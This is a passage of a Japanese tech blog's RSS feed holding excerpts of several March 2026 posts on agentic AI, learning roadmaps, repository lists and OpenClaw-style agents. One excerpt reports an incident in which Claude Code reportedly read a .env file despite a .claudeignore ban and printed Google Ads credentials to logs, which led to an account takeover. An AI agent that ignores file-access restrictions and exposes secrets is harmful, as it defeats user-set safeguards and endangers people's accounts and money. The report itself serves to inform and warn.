非決定的ソフトウェア（LLM ベース）:
入力 A → 出力 X1, X2, X3...（毎回異なる）
入力 B → 出力 Y1, Y2, Y3...（毎回異なる）
→ 「正解」が一意に定まらない
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;LLM の出力は&lt;strong&gt;確率的&lt;/strong&gt;です。同じプロンプトを送っても、temperature やサンプリングの影響で異なる結果が返ります。従来の &lt;code&gt;assertEqual(expected, actual)&lt;/code&gt; というテスト手法が通用しない世界です。&lt;/p&gt;</description></item><item><title>Agentic AI の仕組み — 4層アーキテクチャで理解する「考えて動く AI」の全体像</title><link>https://hdknr.github.io/blogs/posts/2026/03/agentic-ai-%E3%81%AE%E4%BB%95%E7%B5%84%E3%81%BF-4%E5%B1%A4%E3%82%A2%E3%83%BC%E3%82%AD%E3%83%86%E3%82%AF%E3%83%81%E3%83%A3%E3%81%A7%E7%90%86%E8%A7%A3%E3%81%99%E3%82%8B%E8%80%83%E3%81%88%E3%81%A6%E5%8B%95%E3%81%8F-ai%E3%81%AE%E5%85%A8%E4%BD%93%E5%83%8F/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/agentic-ai-%E3%81%AE%E4%BB%95%E7%B5%84%E3%81%BF-4%E5%B1%A4%E3%82%A2%E3%83%BC%E3%82%AD%E3%83%86%E3%82%AF%E3%83%81%E3%83%A3%E3%81%A7%E7%90%86%E8%A7%A3%E3%81%99%E3%82%8B%E8%80%83%E3%81%88%E3%81%A6%E5%8B%95%E3%81%8F-ai%E3%81%AE%E5%85%A8%E4%BD%93%E5%83%8F/</guid><description>&lt;h1 id="agentic-ai-の仕組み--4層アーキテクチャで理解する考えて動く-aiの全体像"&gt;Agentic AI の仕組み — 4層アーキテクチャで理解する「考えて動く AI」の全体像&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/Ronald_vanLoon"&gt;Ronald van Loon さん（@Ronald_vanLoon）&lt;/a&gt;が、&lt;a href="https://x.com/Python_Dv"&gt;@Python_Dv&lt;/a&gt; 作成の Agentic AI アーキテクチャ図を共有し、注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;How #AgenticAI works&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://x.com/Ronald_vanLoon/status/2029305639546060814"&gt;https://x.com/Ronald_vanLoon/status/2029305639546060814&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;このインフォグラフィックは、Agentic AI の動作原理を &lt;strong&gt;Input Sources → AI Processing → Action Layer → Output&lt;/strong&gt; の4層で整理しています。「生成 AI と何が違うのか」「なぜ自律的に動けるのか」を、この4層構造を軸に解説します。&lt;/p&gt;
&lt;h2 id="生成-ai-と-agentic-ai-の根本的な違い"&gt;生成 AI と Agentic AI の根本的な違い&lt;/h2&gt;
&lt;p&gt;まず前提を整理します。生成 AI（Generative AI）と Agentic AI は、&lt;strong&gt;AI の進化の段階&lt;/strong&gt;が異なります。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;観点&lt;/th&gt;
&lt;th&gt;生成 AI&lt;/th&gt;
&lt;th&gt;Agentic AI&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;基本動作&lt;/td&gt;
&lt;td&gt;プロンプトに対してコンテンツを&lt;strong&gt;生成&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;目標に向かって自律的に&lt;strong&gt;行動&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;姿勢&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;受動的&lt;/strong&gt;（聞かれたら答える）&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;能動的&lt;/strong&gt;（自分で判断して動く）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;タスク範囲&lt;/td&gt;
&lt;td&gt;1回のやり取りで完結&lt;/td&gt;
&lt;td&gt;複数ステップを跨いで継続&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;外部連携&lt;/td&gt;
&lt;td&gt;なし（テキスト入出力のみ）&lt;/td&gt;
&lt;td&gt;API・ツール・データベースと連携&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;記憶&lt;/td&gt;
&lt;td&gt;セッション内のみ&lt;/td&gt;
&lt;td&gt;セッション間で永続化可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;自己修正&lt;/td&gt;
&lt;td&gt;なし&lt;/td&gt;
&lt;td&gt;エラーを検知して自動リカバリー&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;IBM は両者の関係を端的にまとめています。「生成 AI は&lt;strong&gt;考えて話す&lt;/strong&gt;。Agentic AI は&lt;strong&gt;計画して実行する&lt;/strong&gt;」。&lt;/p&gt;</description></item><item><title>Agentic AI 学習ロードマップ — 「フルスタックインテリジェンス」を9ヶ月で習得する体系的な道筋</title><link>https://hdknr.github.io/blogs/posts/2026/03/agentic-ai-%E5%AD%A6%E7%BF%92%E3%83%AD%E3%83%BC%E3%83%89%E3%83%9E%E3%83%83%E3%83%97-%E3%83%95%E3%83%AB%E3%82%B9%E3%82%BF%E3%83%83%E3%82%AF%E3%82%A4%E3%83%B3%E3%83%86%E3%83%AA%E3%82%B8%E3%82%A7%E3%83%B3%E3%82%B9%E3%82%929%E3%83%B6%E6%9C%88%E3%81%A7%E7%BF%92%E5%BE%97%E3%81%99%E3%82%8B%E4%BD%93%E7%B3%BB%E7%9A%84%E3%81%AA%E9%81%93%E7%AD%8B/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/agentic-ai-%E5%AD%A6%E7%BF%92%E3%83%AD%E3%83%BC%E3%83%89%E3%83%9E%E3%83%83%E3%83%97-%E3%83%95%E3%83%AB%E3%82%B9%E3%82%BF%E3%83%83%E3%82%AF%E3%82%A4%E3%83%B3%E3%83%86%E3%83%AA%E3%82%B8%E3%82%A7%E3%83%B3%E3%82%B9%E3%82%929%E3%83%B6%E6%9C%88%E3%81%A7%E7%BF%92%E5%BE%97%E3%81%99%E3%82%8B%E4%BD%93%E7%B3%BB%E7%9A%84%E3%81%AA%E9%81%93%E7%AD%8B/</guid><description>&lt;h1 id="agentic-ai-学習ロードマップ--フルスタックインテリジェンスを9ヶ月で習得する体系的な道筋"&gt;Agentic AI 学習ロードマップ — 「フルスタックインテリジェンス」を9ヶ月で習得する体系的な道筋&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/ingliguori/status/2029184341893337547"&gt;@ingliguori 氏（Giuliano Liguori）のポスト&lt;/a&gt;が、Agentic AI を学ぶためのロードマップを共有しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Roadmap to learn Agentic AI:
AI fundamentals → Python + frameworks → LLMs → Agents architecture → Memory + RAG → Planning &amp;amp; decision-making → RL &amp;amp; self-improvement → Deployment → Real-world automation
Agentic AI = full-stack intelligence.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;「Agentic AI = フルスタックインテリジェンス」というフレーズが示すように、AI エージェントの開発には基礎数学からデプロイまで、フルスタックの知識が求められます。本記事では、このロードマップを複数の学習リソースと照合しながら、各段階で何を学び、どのツールを使い、どこまでを目指すのかを体系的に解説します。&lt;/p&gt;
&lt;h2 id="ロードマップの全体像"&gt;ロードマップの全体像&lt;/h2&gt;
&lt;p&gt;Liguori 氏が示した9ステップを、&lt;a href="https://www.scaler.com/blog/agentic-ai-roadmap/"&gt;Scaler の9ヶ月ロードマップ&lt;/a&gt;と &lt;a href="https://roadmap.sh/ai-agents"&gt;roadmap.sh の AI Agents ロードマップ&lt;/a&gt;を参考に、時系列で整理します。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;月0-1 AI Fundamentals ← 数学 + ML 基礎
月1-2 Python + Frameworks ← API + ライブラリ
月2-3 LLMs ← Transformer + プロンプト
月3-4 Agents Architecture ← ReAct + ツール使用
月4-5 Memory + RAG ← ベクトル DB + 検索拡張
月5-6 Planning &amp;amp; Decision ← 計画 + マルチエージェント
月6-7 RL &amp;amp; Self-improvement ← フィードバック + 自律性
月7-8 Deployment ← MLOps + 監視
月8-9 Real-world Automation ← ポートフォリオ + 実案件
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="step-1-ai-fundamentals月0-1"&gt;Step 1: AI Fundamentals（月0-1）&lt;/h2&gt;
&lt;h3 id="学ぶこと"&gt;学ぶこと&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;分野&lt;/th&gt;
&lt;th&gt;具体的な内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;線形代数&lt;/td&gt;
&lt;td&gt;ベクトル、行列演算、固有値分解、SVD&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;微積分&lt;/td&gt;
&lt;td&gt;勾配、偏微分、最適化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;確率・統計&lt;/td&gt;
&lt;td&gt;ベイズの定理、分布、仮説検定&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ML 基礎&lt;/td&gt;
&lt;td&gt;教師あり/なし学習、評価指標&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="推奨リソース"&gt;推奨リソース&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.khanacademy.org/"&gt;Khan Academy&lt;/a&gt; — 数学基礎&lt;/li&gt;
&lt;li&gt;&amp;ldquo;Mathematics for Machine Learning&amp;rdquo;（書籍）&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/@StatQuest"&gt;StatQuest&lt;/a&gt; — 統計の直感的理解&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="この段階のゴール"&gt;この段階のゴール&lt;/h3&gt;
&lt;p&gt;「なぜニューラルネットワークが動くのか」を数学的に説明できること。数式を書ける必要はないが、勾配降下法やベイズ推論の直感を持つことが重要です。&lt;/p&gt;</description></item><item><title>Agentic AIの周期表 — 66要素で読み解くAIエージェント構築の全体像</title><link>https://hdknr.github.io/blogs/posts/2026/03/agentic-ai%E3%81%AE%E5%91%A8%E6%9C%9F%E8%A1%A8-66%E8%A6%81%E7%B4%A0%E3%81%A7%E8%AA%AD%E3%81%BF%E8%A7%A3%E3%81%8Fai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E6%A7%8B%E7%AF%89%E3%81%AE%E5%85%A8%E4%BD%93%E5%83%8F/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/agentic-ai%E3%81%AE%E5%91%A8%E6%9C%9F%E8%A1%A8-66%E8%A6%81%E7%B4%A0%E3%81%A7%E8%AA%AD%E3%81%BF%E8%A7%A3%E3%81%8Fai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E6%A7%8B%E7%AF%89%E3%81%AE%E5%85%A8%E4%BD%93%E5%83%8F/</guid><description>&lt;h1 id="agentic-ai-の周期表--66-要素で読み解く-ai-エージェント構築の全体像"&gt;Agentic AI の周期表 — 66 要素で読み解く AI エージェント構築の全体像&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/ingliguori/status/2028899473653469308"&gt;@ingliguori（Giuliano Liguori）氏のポスト&lt;/a&gt;が話題になっています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Agentic AI now has its own &amp;ldquo;Periodic Table&amp;rdquo;. From: LLM, RAG, RL to PLAN, MAS, LTM to SAFE, HUMAN oversight to HR, MKT, LEGAL use cases. Autonomous AI = memory + planning + tools + safety + collaboration. It&amp;rsquo;s a system, not a prompt.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Capital One の Chief Scientist である Prem Natarajan 氏が、AI エージェント構築に必要な &lt;strong&gt;66 の要素&lt;/strong&gt;を化学の周期表のように体系化した「Agentic AI Periodic Table」を公開しました。LLM や RAG といった基盤技術から、メモリシステム、安全性プロトコル、業務適用まで、エージェント開発の全領域を一枚の表に凝縮しています。&lt;/p&gt;</description></item><item><title>AI/ML学習リポジトリ厳選10選 × スター総計12万超のキュレーション集を目的別に読み解く</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai/ml%E5%AD%A6%E7%BF%92%E3%83%AA%E3%83%9D%E3%82%B8%E3%83%88%E3%83%AA%E5%8E%B3%E9%81%B810%E9%81%B8-%E3%82%B9%E3%82%BF%E3%83%BC%E7%B7%8F%E8%A8%8812%E4%B8%87%E8%B6%85%E3%81%AE%E3%82%AD%E3%83%A5%E3%83%AC%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E9%9B%86%E3%82%92%E7%9B%AE%E7%9A%84%E5%88%A5%E3%81%AB%E8%AA%AD%E3%81%BF%E8%A7%A3%E3%81%8F/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai/ml%E5%AD%A6%E7%BF%92%E3%83%AA%E3%83%9D%E3%82%B8%E3%83%88%E3%83%AA%E5%8E%B3%E9%81%B810%E9%81%B8-%E3%82%B9%E3%82%BF%E3%83%BC%E7%B7%8F%E8%A8%8812%E4%B8%87%E8%B6%85%E3%81%AE%E3%82%AD%E3%83%A5%E3%83%AC%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E9%9B%86%E3%82%92%E7%9B%AE%E7%9A%84%E5%88%A5%E3%81%AB%E8%AA%AD%E3%81%BF%E8%A7%A3%E3%81%8F/</guid><description>&lt;h1 id="aiml-学習リポジトリ厳選-10-選--スター総計-12-万超のキュレーション集を目的別に読み解く"&gt;AI/ML 学習リポジトリ厳選 10 選 &amp;mdash; スター総計 12 万超のキュレーション集を目的別に読み解く&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/deronin_/status/2029158116005134828"&gt;@DeRonin_ 氏が X で投稿&lt;/a&gt;した、AI/ML 学習用 GitHub リポジトリのキュレーションが反響を呼んでいます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;List of THE BEST Github Repositories to learn AI and ML&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;この投稿は 278 件のブックマークを集め、実務者が「手元に置きたいリスト」として支持されていることがわかります。本記事では、紹介された 10 リポジトリを&lt;strong&gt;目的別に分類&lt;/strong&gt;し、それぞれの特徴と使い分けを解説します。&lt;/p&gt;
&lt;h2 id="全-10-リポジトリ一覧"&gt;全 10 リポジトリ一覧&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;リポジトリ&lt;/th&gt;
&lt;th&gt;スター&lt;/th&gt;
&lt;th&gt;主な内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/SkalskiP/courses"&gt;SkalskiP/courses&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;6.4k&lt;/td&gt;
&lt;td&gt;AI コースのキュレーション集&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/owainlewis/awesome-artificial-intelligence"&gt;owainlewis/awesome-artificial-intelligence&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;10k+&lt;/td&gt;
&lt;td&gt;AI システム構築のリソース集&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/Yorko/mlcourse.ai"&gt;Yorko/mlcourse.ai&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;OpenDataScience の ML コース&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/tirthajyoti/Papers-Literature-ML-DL-RL-AI"&gt;tirthajyoti/Papers-Literature-ML-DL-RL-AI&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;論文・文献・書籍のカタログ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/dair-ai/ML-YouTube-Courses"&gt;dair-ai/ML-YouTube-Courses&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;17.1k&lt;/td&gt;
&lt;td&gt;YouTube ML コースのインデックス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/dair-ai/Prompt-Engineering-Guide"&gt;dair-ai/Prompt-Engineering-Guide&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;71.1k&lt;/td&gt;
&lt;td&gt;プロンプトエンジニアリングガイド&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/armankhondker/awesome-ai-ml-resources"&gt;armankhondker/awesome-ai-ml-resources&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;ML/AI 学習ロードマップ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/nivu/ai_all_resources"&gt;nivu/ai_all_resources&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;数学から DL まで網羅的リソース集&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/aishwaryanr/awesome-generative-ai-guide"&gt;aishwaryanr/awesome-generative-ai-guide&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;25.1k&lt;/td&gt;
&lt;td&gt;生成 AI 特化のハブ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/break-into-data/ai-engineer-toolkit"&gt;break-into-data/ai-engineer-toolkit&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;2.1k&lt;/td&gt;
&lt;td&gt;AI エンジニア向けツールキット&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="目的別分類"&gt;目的別分類&lt;/h2&gt;
&lt;p&gt;10 リポジトリは大きく 4 つのカテゴリに分けられます。&lt;/p&gt;</description></item><item><title>AIVideo Agent — 「動画版 OpenClaw」が24時間コンテンツパイプラインを自律運用する仕組み</title><link>https://hdknr.github.io/blogs/posts/2026/03/aivideo-agent-%E5%8B%95%E7%94%BB%E7%89%88-openclaw%E3%81%8C24%E6%99%82%E9%96%93%E3%82%B3%E3%83%B3%E3%83%86%E3%83%B3%E3%83%84%E3%83%91%E3%82%A4%E3%83%97%E3%83%A9%E3%82%A4%E3%83%B3%E3%82%92%E8%87%AA%E5%BE%8B%E9%81%8B%E7%94%A8%E3%81%99%E3%82%8B%E4%BB%95%E7%B5%84%E3%81%BF/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/aivideo-agent-%E5%8B%95%E7%94%BB%E7%89%88-openclaw%E3%81%8C24%E6%99%82%E9%96%93%E3%82%B3%E3%83%B3%E3%83%86%E3%83%B3%E3%83%84%E3%83%91%E3%82%A4%E3%83%97%E3%83%A9%E3%82%A4%E3%83%B3%E3%82%92%E8%87%AA%E5%BE%8B%E9%81%8B%E7%94%A8%E3%81%99%E3%82%8B%E4%BB%95%E7%B5%84%E3%81%BF/</guid><description>&lt;h1 id="aivideo-agent--動画版-openclawが24時間コンテンツパイプラインを自律運用する仕組み"&gt;AIVideo Agent — 「動画版 OpenClaw」が24時間コンテンツパイプラインを自律運用する仕組み&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/hasantoxr/status/2029316877156270496"&gt;Hasan Toor 氏（@hasantoxr、フォロワー42万人）&lt;/a&gt;が「動画制作の OpenClaw が登場した」と紹介して話題になっています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;BREAKING: The「OpenClaw for video production」just dropped. It&amp;rsquo;s called AIVideo Agent and it runs your entire content pipeline 24/7 entirely on its own. No API keys. No technical setup. No configuration screens. Just tell it what you want. It ships.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;ブックマーク 1,949、閲覧数 93,000 超と大きな反響を呼んでいるこの投稿が紹介しているのは、Y Combinator 出身の &lt;strong&gt;AIVideo.com&lt;/strong&gt; が提供する &lt;strong&gt;Video Composer Agent&lt;/strong&gt; です。「API キー不要、技術セットアップ不要、設定画面なし」という訴求は、OpenClaw が「チャットで指示するだけ」でタスクを実行するのと同じ発想を動画制作に持ち込んだものです。&lt;/p&gt;
&lt;h2 id="openclaw-が変えたエージェント非エンジニア向けの期待値"&gt;OpenClaw が変えた「エージェント＝非エンジニア向け」の期待値&lt;/h2&gt;
&lt;p&gt;AIVideo Agent が「OpenClaw for video production」と呼ばれる背景を理解するには、OpenClaw が何を変えたのかを押さえる必要があります。&lt;/p&gt;</description></item><item><title>awesome-claws × OpenClawエコシステム28エージェント完全マップと設計思想5分類</title><link>https://hdknr.github.io/blogs/posts/2026/03/awesome-claws-openclaw%E3%82%A8%E3%82%B3%E3%82%B7%E3%82%B9%E3%83%86%E3%83%A028%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%AE%8C%E5%85%A8%E3%83%9E%E3%83%83%E3%83%97%E3%81%A8%E8%A8%AD%E8%A8%88%E6%80%9D%E6%83%B35%E5%88%86%E9%A1%9E/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/awesome-claws-openclaw%E3%82%A8%E3%82%B3%E3%82%B7%E3%82%B9%E3%83%86%E3%83%A028%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%AE%8C%E5%85%A8%E3%83%9E%E3%83%83%E3%83%97%E3%81%A8%E8%A8%AD%E8%A8%88%E6%80%9D%E6%83%B35%E5%88%86%E9%A1%9E/</guid><description>&lt;h1 id="awesome-claws--openclaw-エコシステム-28-エージェント完全マップ"&gt;awesome-claws &amp;mdash; OpenClaw エコシステム 28 エージェント完全マップ&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/tom_doerr/status/2029305907193016670"&gt;@tom_doerr 氏が X で紹介&lt;/a&gt;した、OpenClaw インスパイアのエージェントキュレーションリストが注目されています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;List of agents for OpenClaw&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://github.com/machinae/awesome-claws"&gt;machinae/awesome-claws&lt;/a&gt; は、OpenClaw にインスパイアされた &lt;strong&gt;28 の AI エージェントプロジェクト&lt;/strong&gt;をキュレーションしたリストです。Rust、TypeScript、Python、Go、C、Zig まで、&lt;strong&gt;8 言語&lt;/strong&gt;にまたがるエコシステムが形成されています。&lt;/p&gt;
&lt;p&gt;本記事では、GitHub 史上最速で最多スターを獲得した OpenClaw の背景と、そこから派生した 28 エージェントを設計思想別に分類して解説します。&lt;/p&gt;
&lt;h2 id="openclaw-とは何か"&gt;OpenClaw とは何か&lt;/h2&gt;
&lt;h3 id="github-史上最速の成長"&gt;GitHub 史上最速の成長&lt;/h3&gt;
&lt;p&gt;OpenClaw は、オーストリアの開発者 Peter Steinberger 氏が開発した&lt;strong&gt;オープンソースの自律型 AI エージェント&lt;/strong&gt;です。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;指標&lt;/th&gt;
&lt;th&gt;数値&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;GitHub スター&lt;/td&gt;
&lt;td&gt;247,000+（2026 年 3 月時点）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14 日間での獲得スター&lt;/td&gt;
&lt;td&gt;190,000（GitHub 史上最速）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;フォーク数&lt;/td&gt;
&lt;td&gt;47,700+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;対応チャネル&lt;/td&gt;
&lt;td&gt;20+（WhatsApp、Telegram、Slack 等）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AgentSkills&lt;/td&gt;
&lt;td&gt;5,700+&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;比較として、Kubernetes は約 10 年で 120,000 スター、Linux カーネルは 30 年以上で 195,000 スターです。OpenClaw は &lt;strong&gt;14 日で 190,000 スター&lt;/strong&gt;を達成し、React を抜いて GitHub 最多スターのソフトウェアプロジェクトになりました。&lt;/p&gt;</description></item><item><title>Claude Code が .env を読んでログに出した — MCC 乗っ取り8桁被害の原因が特定された</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%8C-.env-%E3%82%92%E8%AA%AD%E3%82%93%E3%81%A7%E3%83%AD%E3%82%B0%E3%81%AB%E5%87%BA%E3%81%97%E3%81%9F-mcc-%E4%B9%97%E3%81%A3%E5%8F%96%E3%82%8A8%E6%A1%81%E8%A2%AB%E5%AE%B3%E3%81%AE%E5%8E%9F%E5%9B%A0%E3%81%8C%E7%89%B9%E5%AE%9A%E3%81%95%E3%82%8C%E3%81%9F/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%8C-.env-%E3%82%92%E8%AA%AD%E3%82%93%E3%81%A7%E3%83%AD%E3%82%B0%E3%81%AB%E5%87%BA%E3%81%97%E3%81%9F-mcc-%E4%B9%97%E3%81%A3%E5%8F%96%E3%82%8A8%E6%A1%81%E8%A2%AB%E5%AE%B3%E3%81%AE%E5%8E%9F%E5%9B%A0%E3%81%8C%E7%89%B9%E5%AE%9A%E3%81%95%E3%82%8C%E3%81%9F/</guid><description>&lt;h1 id="claude-code-が-env-を読んでログに出した--mcc-乗っ取り8桁被害の原因が特定された"&gt;Claude Code が .env を読んでログに出した — MCC 乗っ取り8桁被害の原因が特定された&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/hassii_ad/status/2029481458218483742"&gt;広告の裏側（@hassii_ad）&lt;/a&gt;が、先日話題になった Google Ads MCC 乗っ取り事件の続報を投稿しました。いいね 2,558、ブックマーク 2,154、閲覧数 94 万超と大きな反響を呼んでいます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;【 続報 】原因が特定されました。
・Antigravity は無関係、Claude Code で起きてた。
・重要操作は人間の承認が必要な設定になっていたが、問題は権限ではなかった。
Claude Code が .env を読み込んだ（読み込み禁止にしてたのに無視されてた）→ その中の認証情報がログに出力されてた。→ 漏洩して悪用された。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;初報（閲覧数 286 万、ブックマーク 5,399）では「被害額 8 桁後半」「原因不明」と報告されていましたが、続報で攻撃経路が確定しました。&lt;strong&gt;Antigravity は無関係で、Claude Code 単体の問題&lt;/strong&gt;だったことが明らかになっています。&lt;/p&gt;
&lt;h2 id="何が起きたのか--攻撃の全体像"&gt;何が起きたのか — 攻撃の全体像&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Claude Code が .env ファイルを読み込む
（.claudeignore で禁止していたが無視された）
↓
.env 内の Google Ads 認証情報がログ（stdout）に出力される
↓
ログ経由で認証情報が漏洩
↓
攻撃者が MCC（マイクライアントセンター）にログイン
↓
配下の全広告アカウントを使って深夜に不正広告を配信
↓
アラートは飛んだが、当事者が目覚めた頃には被害拡大済み
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;ポイントは「権限設定の問題ではなかった」という点です。重要操作には人間の承認が必要な設定にしていました。しかし &lt;strong&gt;Claude Code が .env を読み取って認証情報を stdout に出力する&lt;/strong&gt;という想定外の挙動により、権限管理を迂回して情報が漏洩しました。&lt;/p&gt;</description></item><item><title>Claude Code に潜んでいた3つの脆弱性 — git clone だけで API キーが盗まれる仕組み</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AB%E6%BD%9C%E3%82%93%E3%81%A7%E3%81%84%E3%81%9F3%E3%81%A4%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7-git-clone-%E3%81%A0%E3%81%91%E3%81%A7-api-%E3%82%AD%E3%83%BC%E3%81%8C%E7%9B%97%E3%81%BE%E3%82%8C%E3%82%8B%E4%BB%95%E7%B5%84%E3%81%BF/</link><pubDate>Thu, 05 Mar 2026 00:00:00 